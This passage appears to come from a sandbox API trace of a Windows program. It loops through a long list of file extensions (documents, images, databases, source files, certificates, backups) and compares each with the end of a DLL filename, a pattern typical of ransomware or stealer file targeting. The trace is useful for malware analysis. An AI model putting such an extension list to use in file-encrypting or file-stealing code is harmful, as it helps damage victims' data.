	[0068.852] lstrcmpiW (lpString1=".accdw", lpString2="BE.dll") returned -1
	[0068.852] lstrlenW (lpString=".adb") returned 4
	[0068.852] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".adp") returned 4
	[0068.852] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".ai") returned 3
	[0068.852] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0068.852] lstrlenW (lpString=".ai3") returned 4
	[0068.852] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".ai4") returned 4
	[0068.852] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".ai5") returned 4
	[0068.852] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".ai6") returned 4
	[0068.852] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".ai7") returned 4
	[0068.852] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".ai8") returned 4
	[0068.852] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".anim") returned 5
	[0068.852] lstrcmpiW (lpString1=".anim", lpString2="E.dll") returned -1
	[0068.852] lstrlenW (lpString=".arw") returned 4
	[0068.852] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".as") returned 3
	[0068.852] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0068.852] lstrlenW (lpString=".asa") returned 4
	[0068.852] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0068.852] lstrlenW (lpString=".asc") returned 4
	[0068.852] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".ascx") returned 5
	[0068.853] lstrcmpiW (lpString1=".ascx", lpString2="E.dll") returned -1
	[0068.853] lstrlenW (lpString=".asm") returned 4
	[0068.853] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".asmx") returned 5
	[0068.853] lstrcmpiW (lpString1=".asmx", lpString2="E.dll") returned -1
	[0068.853] lstrlenW (lpString=".asp") returned 4
	[0068.853] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".aspx") returned 5
	[0068.853] lstrcmpiW (lpString1=".aspx", lpString2="E.dll") returned -1
	[0068.853] lstrlenW (lpString=".asr") returned 4
	[0068.853] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".asx") returned 4
	[0068.853] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".avi") returned 4
	[0068.853] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".avs") returned 4
	[0068.853] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".backup") returned 7
	[0068.853] lstrcmpiW (lpString1=".backup", lpString2="OBE.dll") returned -1
	[0068.853] lstrlenW (lpString=".bak") returned 4
	[0068.853] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".bay") returned 4
	[0068.853] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".bd") returned 3
	[0068.853] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0068.853] lstrlenW (lpString=".bin") returned 4
	[0068.853] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".bmp") returned 4
	[0068.853] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".bz2") returned 4
	[0068.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.853] lstrlenW (lpString=".c") returned 2
	[0068.853] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0068.853] lstrlenW (lpString=".cdr") returned 4
	[0068.854] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cer") returned 4
	[0068.854] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cf") returned 3
	[0068.854] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0068.854] lstrlenW (lpString=".cfc") returned 4
	[0068.854] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cfm") returned 4
	[0068.854] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cfml") returned 5
	[0068.854] lstrcmpiW (lpString1=".cfml", lpString2="E.dll") returned -1
	[0068.854] lstrlenW (lpString=".cfu") returned 4
	[0068.854] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".chm") returned 4
	[0068.854] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cin") returned 4
	[0068.854] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".class") returned 6
	[0068.854] lstrcmpiW (lpString1=".class", lpString2="BE.dll") returned -1
	[0068.854] lstrlenW (lpString=".clx") returned 4
	[0068.854] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".config") returned 7
	[0068.854] lstrcmpiW (lpString1=".config", lpString2="OBE.dll") returned -1
	[0068.854] lstrlenW (lpString=".cpp") returned 4
	[0068.854] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cr2") returned 4
	[0068.854] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".crt") returned 4
	[0068.854] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".crw") returned 4
	[0068.854] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".cs") returned 3
	[0068.854] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0068.854] lstrlenW (lpString=".css") returned 4
	[0068.854] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0068.854] lstrlenW (lpString=".csv") returned 4
	[0068.855] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".cub") returned 4
	[0068.855] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dae") returned 4
	[0068.855] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dat") returned 4
	[0068.855] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".db") returned 3
	[0068.855] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0068.855] lstrlenW (lpString=".dbf") returned 4
	[0068.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dbx") returned 4
	[0068.855] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dc3") returned 4
	[0068.855] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dcm") returned 4
	[0068.855] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dcr") returned 4
	[0068.855] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".der") returned 4
	[0068.855] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dib") returned 4
	[0068.855] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dic") returned 4
	[0068.855] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".dif") returned 4
	[0068.855] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0068.855] lstrlenW (lpString=".divx") returned 5
	[0068.855] lstrcmpiW (lpString1=".divx", lpString2="E.dll") returned -1
	[0068.855] lstrlenW (lpString=".djvu") returned 5
	[0068.855] lstrcmpiW (lpString1=".djvu", lpString2="E.dll") returned -1
	[0068.855] lstrlenW (lpString=".dng") returned 4
	[0068.855] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0068.855] lstrlenW (lpString=".doc") returned 4
	[0068.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".docm") returned 5
	[0068.856] lstrcmpiW (lpString1=".docm", lpString2="E.dll") returned -1
	[0068.856] lstrlenW (lpString=".docx") returned 5
	[0068.856] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0068.856] lstrlenW (lpString=".dot") returned 4
	[0068.856] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dotm") returned 5
	[0068.856] lstrcmpiW (lpString1=".dotm", lpString2="E.dll") returned -1
	[0068.856] lstrlenW (lpString=".dotx") returned 5
	[0068.856] lstrcmpiW (lpString1=".dotx", lpString2="E.dll") returned -1
	[0068.856] lstrlenW (lpString=".dpx") returned 4
	[0068.856] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dqy") returned 4
	[0068.856] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dsn") returned 4
	[0068.856] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dt") returned 3
	[0068.856] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0068.856] lstrlenW (lpString=".dtd") returned 4
	[0068.856] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dwg") returned 4
	[0068.856] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dwt") returned 4
	[0068.856] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".dx") returned 3
	[0068.856] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0068.856] lstrlenW (lpString=".dxf") returned 4
	[0068.856] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".edml") returned 5
	[0068.856] lstrcmpiW (lpString1=".edml", lpString2="E.dll") returned -1
	[0068.856] lstrlenW (lpString=".efd") returned 4
	[0068.856] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0068.856] lstrlenW (lpString=".elf") returned 4
	[0068.857] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".emf") returned 4
	[0068.857] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".emz") returned 4
	[0068.857] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".epf") returned 4
	[0068.857] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".eps") returned 4
	[0068.857] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".epsf") returned 5
	[0068.857] lstrcmpiW (lpString1=".epsf", lpString2="E.dll") returned -1
	[0068.857] lstrlenW (lpString=".epsp") returned 5
	[0068.857] lstrcmpiW (lpString1=".epsp", lpString2="E.dll") returned -1
	[0068.857] lstrlenW (lpString=".erf") returned 4
	[0068.857] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".exr") returned 4
	[0068.857] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".f4v") returned 4
	[0068.857] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".fido") returned 5
	[0068.857] lstrcmpiW (lpString1=".fido", lpString2="E.dll") returned -1
	[0068.857] lstrlenW (lpString=".flm") returned 4
	[0068.857] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".flv") returned 4
	[0068.857] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".frm") returned 4
	[0068.857] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".fxg") returned 4
	[0068.857] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".geo") returned 4
	[0068.857] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".gif") returned 4
	[0068.857] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".grs") returned 4
	[0068.857] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0068.857] lstrlenW (lpString=".gz") returned 3
	[0068.858] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0068.858] lstrlenW (lpString=".h") returned 2
	[0068.858] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0068.858] lstrlenW (lpString=".hdr") returned 4
	[0068.858] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".hpp") returned 4
	[0068.858] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".hta") returned 4
	[0068.858] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".htc") returned 4
	[0068.858] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".htm") returned 4
	[0068.858] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".html") returned 5
	[0068.858] lstrcmpiW (lpString1=".html", lpString2="E.dll") returned -1
	[0068.858] lstrlenW (lpString=".icb") returned 4
	[0068.858] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".ics") returned 4
	[0068.858] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".iff") returned 4
	[0068.858] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".inc") returned 4
	[0068.858] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".indd") returned 5
	[0068.858] lstrcmpiW (lpString1=".indd", lpString2="E.dll") returned -1
	[0068.858] lstrlenW (lpString=".ini") returned 4
	[0068.858] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".iqy") returned 4
	[0068.858] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".j2c") returned 4
	[0068.858] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".j2k") returned 4
	[0068.858] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0068.858] lstrlenW (lpString=".java") returned 5
	[0068.859] lstrcmpiW (lpString1=".java", lpString2="E.dll") returned -1
	[0068.859] lstrlenW (lpString=".jp2") returned 4
	[0068.859] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".jpc") returned 4
	[0068.859] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".jpe") returned 4
	[0068.859] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".jpeg") returned 5
	[0068.859] lstrcmpiW (lpString1=".jpeg", lpString2="E.dll") returned -1
	[0068.859] lstrlenW (lpString=".jpf") returned 4
	[0068.859] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".jpg") returned 4
	[0068.859] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".jpx") returned 4
	[0068.859] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".js") returned 3
	[0068.859] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0068.859] lstrlenW (lpString=".jsf") returned 4
	[0068.859] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".json") returned 5
	[0068.859] lstrcmpiW (lpString1=".json", lpString2="E.dll") returned -1
	[0068.859] lstrlenW (lpString=".jsp") returned 4
	[0068.859] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".kdc") returned 4
	[0068.859] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".kmz") returned 4
	[0068.859] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".kwm") returned 4
	[0068.859] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".lasso") returned 6
	[0068.859] lstrcmpiW (lpString1=".lasso", lpString2="BE.dll") returned -1
	[0068.859] lstrlenW (lpString=".lbi") returned 4
	[0068.859] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".lgf") returned 4
	[0068.859] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0068.859] lstrlenW (lpString=".lgp") returned 4
	[0068.860] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".log") returned 4
	[0068.860] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".m1v") returned 4
	[0068.860] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".m4a") returned 4
	[0068.860] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".m4v") returned 4
	[0068.860] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".max") returned 4
	[0068.860] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".md") returned 3
	[0068.860] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0068.860] lstrlenW (lpString=".mda") returned 4
	[0068.860] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mdb") returned 4
	[0068.860] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mde") returned 4
	[0068.860] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mdf") returned 4
	[0068.860] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mdw") returned 4
	[0068.860] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mef") returned 4
	[0068.860] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mft") returned 4
	[0068.860] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mfw") returned 4
	[0068.860] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mht") returned 4
	[0068.860] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0068.860] lstrlenW (lpString=".mhtml") returned 6
	[0068.860] lstrcmpiW (lpString1=".mhtml", lpString2="BE.dll") returned -1
	[0068.860] lstrlenW (lpString=".mka") returned 4
	[0068.860] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mkidx") returned 6
	[0068.861] lstrcmpiW (lpString1=".mkidx", lpString2="BE.dll") returned -1
	[0068.861] lstrlenW (lpString=".mkv") returned 4
	[0068.861] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mos") returned 4
	[0068.861] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mov") returned 4
	[0068.861] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mp3") returned 4
	[0068.861] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mp4") returned 4
	[0068.861] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mpeg") returned 5
	[0068.861] lstrcmpiW (lpString1=".mpeg", lpString2="E.dll") returned -1
	[0068.861] lstrlenW (lpString=".mpg") returned 4
	[0068.861] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mpv") returned 4
	[0068.861] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mrw") returned 4
	[0068.861] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".msg") returned 4
	[0068.861] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".mxl") returned 4
	[0068.861] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".myd") returned 4
	[0068.861] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".myi") returned 4
	[0068.861] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".nef") returned 4
	[0068.861] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".nrw") returned 4
	[0068.861] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0068.861] lstrlenW (lpString=".obj") returned 4
	[0068.861] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".odb") returned 4
	[0068.862] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".odc") returned 4
	[0068.862] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".odm") returned 4
	[0068.862] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".odp") returned 4
	[0068.862] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".ods") returned 4
	[0068.862] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".oft") returned 4
	[0068.862] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".one") returned 4
	[0068.862] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".onepkg") returned 7
	[0068.862] lstrcmpiW (lpString1=".onepkg", lpString2="OBE.dll") returned -1
	[0068.862] lstrlenW (lpString=".onetoc2") returned 8
	[0068.862] lstrcmpiW (lpString1=".onetoc2", lpString2="OOBE.dll") returned -1
	[0068.862] lstrlenW (lpString=".opt") returned 4
	[0068.862] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".oqy") returned 4
	[0068.862] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".orf") returned 4
	[0068.862] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".p12") returned 4
	[0068.862] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".p7b") returned 4
	[0068.862] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".p7c") returned 4
	[0068.862] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".pam") returned 4
	[0068.862] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0068.862] lstrlenW (lpString=".pbm") returned 4
	[0068.862] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pct") returned 4
	[0068.863] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pcx") returned 4
	[0068.863] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pdd") returned 4
	[0068.863] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pdf") returned 4
	[0068.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pdp") returned 4
	[0068.863] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pef") returned 4
	[0068.863] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pem") returned 4
	[0068.863] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pff") returned 4
	[0068.863] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pfm") returned 4
	[0068.863] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pfx") returned 4
	[0068.863] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".pgm") returned 4
	[0068.863] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".php") returned 4
	[0068.863] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0068.863] lstrlenW (lpString=".php3") returned 5
	[0068.863] lstrcmpiW (lpString1=".php3", lpString2="E.dll") returned -1
	[0068.863] lstrlenW (lpString=".php4") returned 5
	[0068.863] lstrcmpiW (lpString1=".php4", lpString2="E.dll") returned -1
	[0068.863] lstrlenW (lpString=".php5") returned 5
	[0068.863] lstrcmpiW (lpString1=".php5", lpString2="E.dll") returned -1
	[0068.863] lstrlenW (lpString=".phtml") returned 6
	[0068.863] lstrcmpiW (lpString1=".phtml", lpString2="BE.dll") returned -1
	[0068.863] lstrlenW (lpString=".pict") returned 5
	[0068.863] lstrcmpiW (lpString1=".pict", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".pl") returned 3
	[0068.864] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0068.864] lstrlenW (lpString=".pls") returned 4
	[0068.864] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".pm") returned 3
	[0068.864] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0068.864] lstrlenW (lpString=".png") returned 4
	[0068.864] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".pnm") returned 4
	[0068.864] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".pot") returned 4
	[0068.864] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".potm") returned 5
	[0068.864] lstrcmpiW (lpString1=".potm", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".potx") returned 5
	[0068.864] lstrcmpiW (lpString1=".potx", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".ppa") returned 4
	[0068.864] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".ppam") returned 5
	[0068.864] lstrcmpiW (lpString1=".ppam", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".ppm") returned 4
	[0068.864] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".pps") returned 4
	[0068.864] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".ppsm") returned 5
	[0068.864] lstrcmpiW (lpString1=".ppsm", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".ppt") returned 4
	[0068.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".pptm") returned 5
	[0068.864] lstrcmpiW (lpString1=".pptm", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".pptx") returned 5
	[0068.864] lstrcmpiW (lpString1=".pptx", lpString2="E.dll") returned -1
	[0068.864] lstrlenW (lpString=".prn") returned 4
	[0068.864] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0068.864] lstrlenW (lpString=".ps") returned 3
	[0068.865] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
